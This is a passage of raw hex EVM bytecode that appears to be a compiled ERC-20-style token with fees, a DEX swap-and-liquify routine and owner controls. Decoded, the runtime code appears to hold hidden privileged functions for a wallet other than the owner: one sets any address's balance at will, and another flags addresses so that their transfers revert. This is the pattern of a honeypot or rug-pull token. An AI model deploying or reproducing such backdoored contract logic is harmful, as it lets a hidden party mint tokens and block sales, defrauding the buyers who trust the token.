00117855562000a2b565b8280016001018555821562000a2b579182015b8281111562000a2a57825182559160200191906001019062000a0d565b5b50905062000a3a919062000a3e565b5090565b5b8082111562000a5957600081600090555060010162000a3f565b5090565b60008151905062000a6e8162000edc565b92915050565b60006020828403121562000a8d5762000a8c62000ea1565b5b600062000a9d8482850162000a5d565b91505092915050565b62000ab18162000dc2565b82525050565b600062000ac6601b8362000b5b565b915062000ad38262000eb3565b602082019050919050565b62000ae98162000df6565b82525050565b600060408201905062000b06600083018562000aa6565b62000b15602083018462000aa6565b9392505050565b6000602082019050818103600083015262000b378162000ab7565b9050919050565b600060208201905062000b55600083018462000ade565b92915050565b600082825260208201905092915050565b600062000b798262000df6565b915062000b868362000df6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bbe5762000bbd62000e43565b5b828201905092915050565b6000808291508390505b600185111562000c1b5780860481111562000bf35762000bf262000e43565b5b600185161562000c035780820291505b808102905062000c138562000ea6565b945062000bd3565b94509492505050565b600062000c318262000df6565b915062000c3e8362000e00565b925062000c6d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c75565b905092915050565b60008262000c87576001905062000d5a565b8162000c97576000905062000d5a565b816001811462000cb0576002811462000cbb5762000cf1565b600191505062000d5a565b60ff84111562000cd05762000ccf62000e43565b5b8360020a91508482111562000cea5762000ce962000e43565b5b5062000d5a565b5060208310610133831016604e8410600b841016171562000d2b5782820a90508381111562000d255762000d2462000e43565b5b62000d5a565b62000d3a848484600162000bc9565b9250905081840481111562000d545762000d5362000e43565b5b81810290505b9392505050565b600062000d6e8262000df6565b915062000d7b8362000df6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000db75762000db662000e43565b5b828202905092915050565b600062000dcf8262000dd6565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e2657607f821691505b6020821081141562000e3d5762000e3c62000e72565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000ee78162000dc2565b811462000ef357600080fd5b50565b60805160601c61408e62000f1c60003960008181610f310152610f5d015261408e6000f3fe6080604052600436106103035760003560e01c80638da5cb5b11610190578063c5d24189116100dc578063da00097d11610095578063e3dea9b61161006f578063e3dea9b614610bf5578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063da00097d14610b62578063dc44b6a014610b8d578063dd62ed3e14610bb85761030a565b8063c5d2418914610a50578063c816841b14610a7b578063c860795214610aa6578063c867d60b14610ad1578063cab0347114610b0e578063d469a20914610b395761030a565b8063a83f53a711610149578063b20a4e5a11610123578063b20a4e5a14610996578063c2d4640e146109d3578063c469b6dd146109fc578063c49b9a8014610a275761030a565b8063a83f53a7146108f1578063a9059cbb1461091c578063ae2116b8146109595761030a565b80638da5cb5b146107df57806395d89b411461080a578063a073d37f14610835578063a08e671f14610860578063a2a627221461088b578063a457c2d7146108b45761030a565b80633b97084a1161024f5780636249faf11161020857806372382ec7116101e257806372382ec71461072157806382eefb431461074c57806388790a68146107775780638b42507f146107a25761030a565b80636249faf11461069257806370a08231146106bb578063715266fe146106f85761030a565b80633b97084a146105825780633ecad271146105ab5780634a74bb02146105e85780634d52fe161461061357806357a5802f1461063c57806361a23c69146106675761030a565b80632563ae83116102bc578063313ce56711610296578063313ce567146104b457806335cdc417146104df57806335d236151461051c57806339509351146105455761030a565b80632563ae831461043557806327c8f8351461045e5780632b112e49146104895761030a565b806306fdde031461030f578063095ea7b31461033a5780631245e347146103775780631694505e146103a257806318160ddd146103cd57806323b872dd146103f85761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b6040516103319190613834565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190613337565b610d2f565b60405161036e91906137fe565b60405180910390f35b34801561038357600080fd5b5061038c610d4d565b6040516103999190613782565b60405180910390f35b3480156103ae57600080fd5b506103b7610d73565b6040516103c49190613819565b60405180910390f35b3480156103d957600080fd5b506103e2610d99565b6040516103ef9190613936565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906132e4565b610da3565b60405161042c91906137fe565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906133d7565b610e7d565b005b34801561046a57600080fd5b50610473610f2f565b6040516104809190613767565b60405180910390f35b34801561049557600080fd5b5061049e610f53565b6040516104ab9190613936565b60405180910390f35b3480156104c057600080fd5b506104c9610f97565b6040516104d691906139db565b60405180910390f35b3480156104eb57600080fd5b506105066004803603810190610501919061324a565b610fae565b60405161051391906137fe565b60405180910390f35b34801561052857600080fd5b50610543600480360381019061053e919061324a565b610fce565b005b34801561055157600080fd5b5061056c60048036038101906105679190613337565b6110a7565b60405161057991906137fe565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a49190613404565b61115a565b005b3480156105b757600080fd5b506105d260048036038101906105cd919061324a565b6111f9565b6040516105df91906137fe565b60405180910390f35b3480156105f457600080fd5b506105fd611219565b60405161060a91906137fe565b60405180910390f35b34801561061f57600080fd5b5061063a600480360381019061063591906134d7565b61122c565b005b34801561064857600080fd5b50610651611312565b60405161065e9190613936565b60405180910390f35b34801561067357600080fd5b5061067c611318565b6040516106899190613936565b60405180910390f35b34801561069e57600080fd5b506106b960048036038101906106b49190613377565b61131e565b005b3480156106c757600080fd5b506106e260048036038101906106dd919061324a565b611458565b6040516106ef9190613936565b60405180910390f35b34801561070457600080fd5b5061071f600480360381019061071a9190613377565b6114a1565b005b34801561072d57600080fd5b506107366115db565b6040516107439190613782565b60405180910390f35b34801561075857600080fd5b50610761611601565b60405161076e9190613936565b60405180910390f35b34801561078357600080fd5b5061078c611607565b6040516107999190613936565b60405180910390f35b3480156107ae57600080fd5b506107c960048036038101906107c4919061324a565b61160d565b6040516107d691906137fe565b60405180910390f35b3480156107eb57600080fd5b506107f461162d565b6040516108019190613767565b60405180910390f35b34801561081657600080fd5b5061081f611656565b60405161082c9190613834565b60405180910390f35b34801561084157600080fd5b5061084a6116e8565b6040516108579190613936565b60405180910390f35b34801561086c57600080fd5b506108756116f2565b6040516108829190613936565b60405180910390f35b34801561089757600080fd5b506108b260048036038101906108ad9190613431565b6116f8565b005b3480156108c057600080fd5b506108db60048036038101906108d69190613337565b6117d8565b6040516108e891906137fe565b60405180910390f35b3480156108fd57600080fd5b506109066118a5565b6040516109139190613936565b60405180910390f35b34801561092857600080fd5b50610943600480360381019061093e9190613337565b6118ab565b60405161095091906137fe565b60405180910390f35b34801561096557600080fd5b50610980600480360381019061097b919061324a565b6118ca565b60405161098d91906137fe565b60405180910390f35b3480156109a257600080fd5b506109bd60048036038101906109b8919061324a565b6118ea565b6040516109ca91906137fe565b60405180910390f35b3480156109df57600080fd5b506109fa60048036038101906109f59190613431565b61190a565b005b348015610a0857600080fd5b50610a116119ea565b604051610a1e9190613936565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906133d7565b6119f0565b005b348015610a5c57600080fd5b50610a65611ad9565b604051610a729190613936565b60405180910390f35b348015610a8757600080fd5b50610a90611adf565b604051610a9d9190613767565b60405180910390f35b348015610ab257600080fd5b50610abb611b05565b604051610ac89190613936565b60405180910390f35b348015610add57600080fd5b50610af86004803603810190610af3919061324a565b611b0b565b604051610b0591906137fe565b60405180910390f35b348015610b1a57600080fd5b50610b23611b2b565b604051610b309190613936565b60405180910390f35b348015610b4557600080fd5b50610b606004803603810190610b5b9190613431565b611b31565b005b348015610b6e57600080fd5b50610b77611c11565b604051610b8491906137fe565b60405180910390f35b348015610b9957600080fd5b50610ba2611c24565b604051610baf9190613936565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda91906132a4565b611c2a565b604051610bec9190613936565b60405180910390f35b348015610c0157600080fd5b50610c1c6004803603810190610c179190613337565b611cb1565b005b348015610c2a57600080fd5b50610c33611d30565b604051610c409190613936565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b919061324a565b611d36565b005b348015610c7e57600080fd5b50610c87611e88565b604051610c9491906137fe565b60405180910390f35b606060018054610cac90613c42565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613c42565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611ef9565b8484611f01565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610db08484846120cc565b50610e7284610dbd611ef9565b610e6d8560405180606001604052806028815260200161400c60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e23611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b611f01565b600190509392505050565b610e85611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f09906138d6565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610f92610f817f0000000000000000000000000000000000000000000000000000000000000000611458565b60195461255a90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b610fd6611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a906138d6565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006111506110b4611ef9565b8461114b85600660006110c5611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b611f01565b6001905092915050565b611162611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906138d6565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b61125a600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360016125a4565b61126357600080fd5b60005b8282905081101561130b5760008061127b5750835b600c600085858581811061129257611291613d4a565b5b90506020020160208101906112a7919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061130390613c74565b915050611266565b5050505050565b60135481565b60145481565b611326611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113aa906138d6565b60405180910390fd5b60005b838390508110156114525781600860008686858181106113d9576113d8613d4a565b5b90506020020160208101906113ee919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061144a90613c74565b9150506113b6565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114a9611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611536576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152d906138d6565b60405180910390fd5b60005b838390508110156115d557816007600086868581811061155c5761155b613d4a565b5b9050602002016020810190611571919061324a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115cd90613c74565b915050611539565b50505050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461166590613c42565b80601f016020809104026020016040519081016040528092919081815260200182805461169190613c42565b80156116de5780601f106116b3576101008083540402835291602001916116de565b820191906000526020600020905b8154815290600101906020018083116116c157829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b611700611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461178d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611784906138d6565b60405180910390fd5b8260108190555081601181905550806012819055506117cd6012546117bf601154601054611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601781905550505050565b600061189b6117e5611ef9565b8461189685604051806060016040528060258152602001614034602591396006600061180f611ef9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b611f01565b6001905092915050565b60155481565b60006118bf6118b8611ef9565b84846120cc565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b611912611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461199f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611996906138d6565b60405180910390fd5b8260138190555081601481905550806015819055506119df6015546119d1601454601354611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601881905550505050565b600f5481565b6119f8611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7c906138d6565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ace91906137fe565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b39611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbd906138d6565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611c06600f54611bf8600e54600d54611e9b90919063ffffffff16565b611e9b90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cdf600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360016125a4565b611ce857600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60165481565b611d3e611ef9565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc2906138d6565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611eaa9190613a4b565b905083811015611eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee690613896565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6890613916565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd890613876565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120bf9190613936565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561213d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612134906138f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a490613856565b60405180910390fd5b601c60149054906101000a900460ff16156121d4576121cd8484846125f0565b90506124ef565b60006121df30611458565b90506000601a5482101590508080156122055750601c60149054906101000a900460ff16155b801561225b5750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122735750601c60159054906101000a900460ff165b1561229d57601c60169054906101000a900460ff161561229357601a5491505b61229c826127c3565b5b6122ef84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255a90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123d55750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6123e9576123e48787876129b4565b6123eb565b845b905061243f81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124df9190613936565b60405180910390a3600193505050505b9392505050565b600083831115829061253e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125359190613834565b60405180910390fd5b506000838561254d9190613b2c565b9050809150509392505050565b600061259c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f6565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156125e7575060008260ff16141515155b90509392505050565b600061267b826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f69092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127b09190613936565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff021916908315150217905550600061281c600261280e60185461280060135487612c8490919063ffffffff16565b612cff90919063ffffffff16565b612cff90919063ffffffff16565b90506000612833828461255a90919063ffffffff16565b905061283e81612d49565b6000479050600061286f61285e6002601354612cff90919063ffffffff16565b60185461255a90919063ffffffff16565b905060006128ad600261289f8461289160135488612c8490919063ffffffff16565b612cff90919063ffffffff16565b612cff90919063ffffffff16565b905060006128d8836128ca60155487612c8490919063ffffffff16565b612cff90919063ffffffff16565b90506000612901826128f3858861255a90919063ffffffff16565b61255a90919063ffffffff16565b9050600081111561293957612938600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612fd4565b5b600082111561296f5761296e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612fd4565b5b60008311801561297f5750600087115b1561298f5761298e878461301f565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612a6457600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612a6357600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612ae557612ade6064612ad060165486612c8490919063ffffffff16565b612cff90919063ffffffff16565b9050612b63565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b6257612b5f6064612b5160175486612c8490919063ffffffff16565b612cff90919063ffffffff16565b90505b5b6000811115612c6757612bbe81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5e9190613936565b60405180910390a35b612c7a818461255a90919063ffffffff16565b9150509392505050565b600080831415612c975760009050612cf9565b60008284612ca59190613ad2565b9050828482612cb49190613aa1565b14612cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ceb906138b6565b60405180910390fd5b809150505b92915050565b6000612d4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613113565b905092915050565b6000600267ffffffffffffffff811115612d6657612d65613d79565b5b604051908082528060200260200182016040528015612d945781602001602082028036833780820191505090505b5090503081600081518110612dac57612dab613d4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e4e57600080fd5b505afa158015612e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612e869190613277565b81600181518110612e9a57612e99613d4a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f0130601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f01565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612f65959493929190613981565b600060405180830381600087803b158015612f7f57600080fd5b505af1158015612f93573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612fc8929190613951565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561301a573d6000803e3d6000fd5b505050565b61304c30601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f01565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061309861162d565b426040518863ffffffff1660e01b81526004016130ba9695949392919061379d565b6060604051808303818588803b1580156130d357600080fd5b505af11580156130e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061310c9190613484565b5050505050565b6000808311829061315a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131519190613834565b60405180910390fd5b50600083856131699190613aa1565b9050809150509392505050565b60008135905061318581613faf565b92915050565b60008151905061319a81613faf565b92915050565b60008083601f8401126131b6576131b5613dad565b5b8235905067ffffffffffffffff8111156131d3576131d2613da8565b5b6020830191508360208202830111156131ef576131ee613db2565b5b9250929050565b60008135905061320581613fc6565b92915050565b60008135905061321a81613fdd565b92915050565b60008151905061322f81613fdd565b92915050565b60008135905061324481613ff4565b92915050565b6000602082840312156132605761325f613dbc565b5b600061326e84828501613176565b91505092915050565b60006020828403121561328d5761328c613dbc565b5b600061329b8482850161318b565b91505092915050565b600080604083850312156132bb576132ba613dbc565b5b60006132c985828601613176565b92505060206132da85828601613176565b9150509250929050565b6000806000606084860312156132fd576132fc613dbc565b5b600061330b86828701613176565b935050602061331c86828701613176565b925050604061332d8682870161320b565b9150509250925092565b6000806040838503121561334e5761334d613dbc565b5b600061335c85828601613176565b925050602061336d8582860161320b565b9150509250929050565b6000806000604084860312156133905761338f613dbc565b5b600084013567ffffffffffffffff8111156133ae576133ad613db7565b5b6133ba868287016131a0565b935093505060206133cd868287016131f6565b9150509250925092565b6000602082840312156133ed576133ec613dbc565b5b60006133fb848285016131f6565b91505092915050565b60006020828403121561341a57613419613dbc565b5b60006134288482850161320b565b91505092915050565b60008060006060848603121561344a57613449613dbc565b5b60006134588682870161320b565b93505060206134698682870161320b565b925050604061347a8682870161320b565b9150509250925092565b60008060006060848603121561349d5761349c613dbc565b5b60006134ab86828701613220565b93505060206134bc86828701613220565b92505060406134cd86828701613220565b9150509250925092565b600080600080606085870312156134f1576134f0613dbc565b5b60006134ff87828801613235565b9450506020613510878288016131f6565b935050604085013567ffffffffffffffff81111561353157613530613db7565b5b61353d878288016131a0565b925092505092959194509250565b60006135578383613572565b60208301905092915050565b61356c81613b72565b82525050565b61357b81613b60565b82525050565b61358a81613b60565b82525050565b600061359b82613a06565b6135a58185613a29565b93506135b0836139f6565b8060005b838110156135e15781516135c8888261354b565b97506135d383613a1c565b9250506001810190506135b4565b5085935050505092915050565b6135f781613b84565b82525050565b61360681613bc7565b82525050565b61361581613bd9565b82525050565b600061362682613a11565b6136308185613a3a565b9350613640818560208601613c0f565b61364981613dc1565b840191505092915050565b6000613661602383613a3a565b915061366c82613dd2565b604082019050919050565b6000613684602283613a3a565b915061368f82613e21565b604082019050919050565b60006136a7601b83613a3a565b91506136b282613e70565b602082019050919050565b60006136ca602183613a3a565b91506136d582613e99565b604082019050919050565b60006136ed602083613a3a565b91506136f882613ee8565b602082019050919050565b6000613710602583613a3a565b915061371b82613f11565b604082019050919050565b6000613733602483613a3a565b915061373e82613f60565b604082019050919050565b61375281613bb0565b82525050565b61376181613bba565b82525050565b600060208201905061377c6000830184613581565b92915050565b60006020820190506137976000830184613563565b92915050565b600060c0820190506137b26000830189613581565b6137bf6020830188613749565b6137cc604083018761360c565b6137d9606083018661360c565b6137e66080830185613581565b6137f360a0830184613749565b979650505050505050565b600060208201905061381360008301846135ee565b92915050565b600060208201905061382e60008301846135fd565b92915050565b6000602082019050818103600083015261384e818461361b565b905092915050565b6000602082019050818103600083015261386f81613654565b9050919050565b6000602082019050818103600083015261388f81613677565b9050919050565b600060208201905081810360008301526138af8161369a565b9050919050565b600060208201905081810360008301526138cf816136bd565b9050919050565b600060208201905081810360008301526138ef816136e0565b9050919050565b6000602082019050818103600083015261390f81613703565b9050919050565b6000602082019050818103600083015261392f81613726565b9050919050565b600060208201905061394b6000830184613749565b92915050565b60006040820190506139666000830185613749565b81810360208301526139788184613590565b90509392505050565b600060a0820190506139966000830188613749565b6139a3602083018761360c565b81810360408301526139b58186613590565b90506139c46060830185613581565b6139d16080830184613749565b9695505050505050565b60006020820190506139f06000830184613758565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613a5682613bb0565b9150613a6183613bb0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a9657613a95613cbd565b5b828201905092915050565b6000613aac82613bb0565b9150613ab783613bb0565b925082613ac757613ac6613cec565b5b828204905092915050565b6000613add82613bb0565b9150613ae883613bb0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b2157613b20613cbd565b5b828202905092915050565b6000613b3782613bb0565b9150613b4283613bb0565b925082821015613b5557613b54613cbd565b5b8282039050929150505